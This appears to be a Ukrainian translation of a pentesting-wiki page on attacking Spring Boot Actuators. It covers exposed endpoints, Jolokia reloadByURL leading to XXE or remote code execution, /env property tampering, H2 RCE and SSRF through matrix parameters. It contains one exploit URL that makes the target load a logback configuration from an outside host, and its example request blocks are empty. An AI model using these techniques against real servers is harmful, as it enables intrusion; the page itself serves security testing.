Spring Actuators
Spring Auth Bypass
З https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****
Exploiting Spring Boot Actuators
Перевірте оригінальний пост за адресою [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]
Ключові моменти:
Актуатори Spring Boot реєструють ендпоінти, такі як
/health
,/trace
,/beans
,/env
тощо. У версіях від 1 до 1.4 ці ендпоінти доступні без аутентифікації. Починаючи з версії 1.5, лише/health
та/info
за замовчуванням не є чутливими, але розробники часто вимикають цю безпеку.Деякі ендпоінти Actuator можуть викривати чутливі дані або дозволяти шкідливі дії:
/dump
,/trace
,/logfile
,/shutdown
,/mappings
,/env
,/actuator/env
,/restart
та/heapdump
.У Spring Boot 1.x актуатори реєструються під кореневим URL, тоді як у 2.x вони розташовані під базовим шляхом
/actuator/
.
Техніки експлуатації:
Віддалене виконання коду через '/jolokia':
Ендпоінт актуатора
/jolokia
викриває бібліотеку Jolokia, яка дозволяє HTTP-доступ до MBeans.Дія
reloadByURL
може бути використана для перезавантаження конфігурацій логування зовнішнього URL, що може призвести до сліпого XXE або віддаленого виконання коду через створені XML-конфігурації.Приклад URL-експлойту:
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
.
Зміна конфігурації через '/env':
Якщо присутні бібліотеки Spring Cloud, ендпоінт
/env
дозволяє змінювати середовищні властивості.Властивості можуть бути зманіпульовані для експлуатації вразливостей, таких як вразливість десеріалізації XStream у сервісі Eureka serviceURL.
Приклад POST-запиту експлойту:
Інші корисні налаштування:
Властивості, такі як
spring.datasource.tomcat.validationQuery
,spring.datasource.tomcat.url
таspring.datasource.tomcat.max-active
, можуть бути зманіпульовані для різних експлойтів, таких як SQL-ін'єкція або зміна рядків підключення до бази даних.
Додаткова інформація:
Повний список актуаторів за замовчуванням можна знайти тут.
Ендпоінт
/env
у Spring Boot 2.x використовує формат JSON для зміни властивостей, але загальна концепція залишається такою ж.
Пов'язані теми:
Env + H2 RCE:
Деталі щодо експлуатації комбінації ендпоінту
/env
та бази даних H2 можна знайти тут.
SSRF на Spring Boot через неправильне тлумачення шляху:
Обробка матричних параметрів (
;
) у HTTP-шляхах фреймворком Spring може бути експлуатована для Server-Side Request Forgery (SSRF).Приклад запиту експлойту:
Last updated